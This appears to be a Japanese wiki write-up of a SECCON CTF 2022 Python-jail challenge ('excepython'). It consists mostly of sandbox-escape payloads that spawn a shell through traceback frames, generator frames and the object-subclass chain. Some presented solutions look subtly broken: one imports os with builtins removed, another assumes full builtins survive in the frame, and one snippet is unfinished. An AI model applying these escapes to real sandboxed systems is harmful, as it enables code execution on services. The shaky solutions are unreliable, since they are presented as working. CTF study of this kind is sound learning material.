pyjail wiki

SECCON CTF 2022 - excepython

Challenge

例外処理を利用した pyjail。

import sys
code = input()
try:
exec(code, {'__builtins__': {}})
except Exception as e:
print(f"Error: {e}")

Solution

例外からトレースバックを取得

例外オブジェクトは __traceback__ 属性を持ち、そこからフレームにアクセス可能:

try:
1/0
except Exception as e:
tb = e.__traceback__
frame = tb.tb_frame
builtins = frame.f_builtins
builtins['eval']('__import__("os").system("sh")')

builtins 空での例外発生

__builtins__ が空でも、組み込み操作で例外を発生させられる:

[][0] # IndexError
{}['x'] # KeyError
1/0 # ZeroDivisionError
()() # TypeError

walrus 演算子との組み合わせ

Python 3.8+ の walrus 演算子 (:=) で代入しながら処理:

[
(tb := (lambda: 1/0).__code__),
# または例外を発生させてキャッチ
]

完全なペイロード

サブクラスチェーンを使用:

[x for x in (1).__class__.__base__.__subclasses__() if 'wrap' in str(x)][0].__init__.__globals__['system']('sh')

Technical Details

例外オブジェクトの属性

try:
raise ValueError("test")
except ValueError as e:
print(e.args) # ('test',)
print(e.__traceback__) # <traceback object>
print(e.__cause__) # None (raise ... from ... で設定)
print(e.__context__) # None (例外チェーン)

トレースバックオブジェクト

tb = e.__traceback__
tb.tb_frame # フレームオブジェクト
tb.tb_lineno # 例外発生行番号
tb.tb_lasti # 最後の命令インデックス
tb.tb_next # 次のトレースバック (スタック上位)

フレームオブジェクトの属性

frame = tb.tb_frame
frame.f_back # 呼び出し元フレーム
frame.f_builtins # builtins 辞書 (制限環境でも完全版が入っている場合あり)
frame.f_globals # グローバル変数辞書
frame.f_locals # ローカル変数辞書
frame.f_code # コードオブジェクト
frame.f_lineno # 現在の行番号

フレームチェーンの探索

# 呼び出しスタックを遡る
frame = tb.tb_frame
while frame:
print(f"Function: {frame.f_code.co_name}")
print(f"Has eval: {'eval' in frame.f_builtins}")
frame = frame.f_back

walrus 演算子の活用

# Python 3.8+
# 代入と評価を同時に行う
if (x := some_function()) is not None:
use(x)
# リスト内包表記での利用
[y := x**2 for x in range(5)]
# y には最後の値 (16) が残る

Alternative Solutions

別解1: sys.exc_info() (sysがある場合)

import sys
try:
1/0
except:
exc_type, exc_value, exc_tb = sys.exc_info()
frame = exc_tb.tb_frame
frame.f_builtins['eval']('...')

別解2: generator の gi_frame

(x for x in []).gi_frame.f_builtins['eval']('__import__("os").system("sh")')

別解3: 例外クラスの定義

class Evil(Exception):
def __init__(self):
import os
os.system('sh')
try:
raise Evil()
except:
pass

Flag

SECCON{...}

References